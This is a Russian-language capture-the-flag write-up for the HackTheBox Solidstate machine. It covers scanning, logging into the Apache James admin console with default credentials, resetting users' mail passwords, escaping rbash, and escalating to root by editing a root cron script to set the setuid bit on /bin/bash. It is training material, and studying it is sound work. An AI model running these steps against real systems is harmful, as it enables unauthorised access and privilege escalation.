> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Запись HackTheBox Solidstate

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Навыки:**

* Злоупотребление инструментом удалённого администрирования James
* Изменение пароля электронной почты пользователя
* Утечка информации
* Выход из Restricted Bash (rbash)
* Создание bash-скрипта для обнаружения заданий cron (procmon.sh)
* Злоупотребление заданием Cron (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/052b240882c764a1ed3312463d47a2e920452c43" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/e747c42db68bdf9c584667142eb5d4e2025435b0" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/996fe1b62cd68b31b23a1c4c28cc74542ecf93fa" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (22.25,80,110,119,45555)

<figure><img src="/files/1d717471316539f6a2d9c35c25383ee5b8167333" alt=""><figcaption></figcaption></figure>

Сканирование версий портов с Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/2a3f84cf6610d15653acbad57fcf094f085309b6" alt=""><figcaption></figcaption></figure>

### Порт 80

#### На порту 80 не было найдено ничего интересного.

<figure><img src="/files/06defee9595f5c15d3783ec0a6660f0e71e996a1" alt=""><figcaption></figcaption></figure>

## Удалённое администрирование JAMES

### Порт 119 - NNTP

> Порт 119 использует протокол передачи сетевых новостей. На сервере запущен экземпляр Apache James, почтовый сервер и новостной сервер. Мы подключаемся с помощью `netcat`, но не находим релевантной информации.

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/24a86c8c69beea712e2d3b003df0fdc1ce303fb0" alt=""><figcaption></figcaption></figure>

### Порт 4555 - Инструмент удалённого администрирования

> В контексте удалённого администрирования его можно использовать для доступа к панелям управления или взаимодействия с удалёнными службами на целевой машине. Важно просканировать его, чтобы увидеть, открыт ли он и какую службу он обслуживает.

Мы пытаемся подключиться к панели администрирования James через Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/5c1cf4430f58b7dca1bea190a56ca104548c83a5" alt=""><figcaption></figcaption></figure>

После поиска учётных данных по умолчанию мы находим:

* **ID** : root
* **Пароль** : root

<figure><img src="/files/c860a5e38581190c7c3070427023bce4fd12b629" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/64fb5e925e71e59bd663cf153fc42423da94e295" alt=""><figcaption></figcaption></figure>

Мы успешно подключаемся и получаем доступ к панели администрирования James. У нас есть возможность перечислить пользователей с помощью `listusers` команды, что позволяет нам обнаружить 5 пользователей:

* `пользователь: james`
* `пользователь: thomas`
* `пользователь: john`
* `пользователь: mindy`
* `пользователь: mailadmin`

<figure><img src="/files/d17e36c864dd8b7f722526f818c0784729f77ce1" alt=""><figcaption></figcaption></figure>

Мы можем изменить пароли пользователей с помощью `setpassword` команды, чтобы подключить их к почтовому клиенту на порту 110. Мы делаем это для всех пользователей:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/e0036c512516c0d3de81e841286b4ea1ffcaffc8" alt=""><figcaption></figcaption></figure>

### Порт 110 - POP3

> Порт 110 — это стандартный порт, используемый для **POP3** (Post Office Protocol version 3). Этот протокол используется почтовыми клиентами для получения писем с сервера. Когда пользователь подключается к серверу POP3 через этот порт, он может загружать свои сообщения.

Теперь мы подключаемся к POP3-клиенту через Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Для подключения мы используем следующие команды:

```ada
USER <user>
PASS <password>
```

Мы перечисляем сообщения с помощью `list` .

Мы видим, что в почтовых ящиках `james` и `thomas`.

<figure><img src="/files/c9cd04dfe4a27c226117f77301b4b1d43138a301" alt=""><figcaption></figcaption></figure>

Однако у пользователя `john` есть сообщение, которое мы получаем с помощью `retr 1` команды. Сообщение содержит следующий текст:

> Джон,
>
> Не мог бы ты ограничить доступ Mindy, пока ей не разрешат присоединиться к программе? Также обязательно отправь ей временный пароль, чтобы она могла подключиться к своим учётным записям.
>
> Заранее спасибо.
>
> С уважением,/ Джеймс

<figure><img src="/files/8c941e75906015a3fe7a15e062ef251b2869748a" alt=""><figcaption></figcaption></figure>

Это наводит на мысль, что у пользователя `mindy` есть учётные данные в его почтовом ящике. Действительно, мы находим следующую информацию:

* **Имя пользователя** : mindy
* **Пароль** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/86f80bc6330b6e8404238e5a486bbb3f4d7f747a" alt=""><figcaption></figcaption></figure></div>

Мы используем эти учётные данные для подключения по SSH и получаем флаг `user.txt`.

### Флаг user.txt :)

<figure><img src="/files/713bbbcb24744831d526d64ab634ea3941609018" alt=""><figcaption></figcaption></figure>

## Повышение привилегий:

### **Выход из RBash в Bash**

У `mindy` пользователь в данный момент использует `rbash` оболочку, которая ограничивает выполнение многих команд.

<figure><img src="/files/49a95062a3caf5716ba7ea8fe230434185022124" alt=""><figcaption></figcaption></figure>

Чтобы обойти это ограничение, мы используем следующую команду при подключении по SSH, чтобы получить оболочку Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/b9d23bf825fd665527165328cfd70b78e7ee4d8c" alt=""><figcaption></figcaption></figure>

Затем мы используем следующие команды, чтобы обработать терминал и получить полноценную оболочку:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Задания Cron - Модифицированный скрипт (Python):

Мы создаём bash-скрипт для анализа текущих процессов и обнаружения заданий cron, выполняемых на целевой машине:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Запустив этот скрипт, мы замечаем, что **root** пользователь запускает Python-скрипт, расположенный в `/opt/tmp.py` каталог.

<figure><img src="/files/2a62e532f47f3cc480ecb8f1e23bbb910cf9a3c4" alt=""><figcaption></figcaption></figure>

У нас есть возможность изменить этот Python-скрипт.

<figure><img src="/files/6f5b0bcd67d5c7e989afd7e994257f743b8b883b" alt=""><figcaption></figcaption></figure>

Мы изменяем его, добавляя команду для установки **setuid** в `/bin/bash` бинарный файл, позволяющий нам запустить оболочку Bash с привилегиями **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

После редактирования скрипта мы ждём около минуты, пока выполнится задача cron.

После выполнения задачи cron мы можем получить оболочку Bash с **root** привилегиями, выполнив следующую команду:

```bash
/bin/bash -p
```

<figure><img src="/files/e18507faa77aeb6bfc99996a6b5262e6b66f0ab7" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/46b2c465ea3092a1ef0a69895b60ea1f06e4ef52" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e3ff9d1b3cb0cb7a0d3c3db9db89a1c37f8dfde5" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
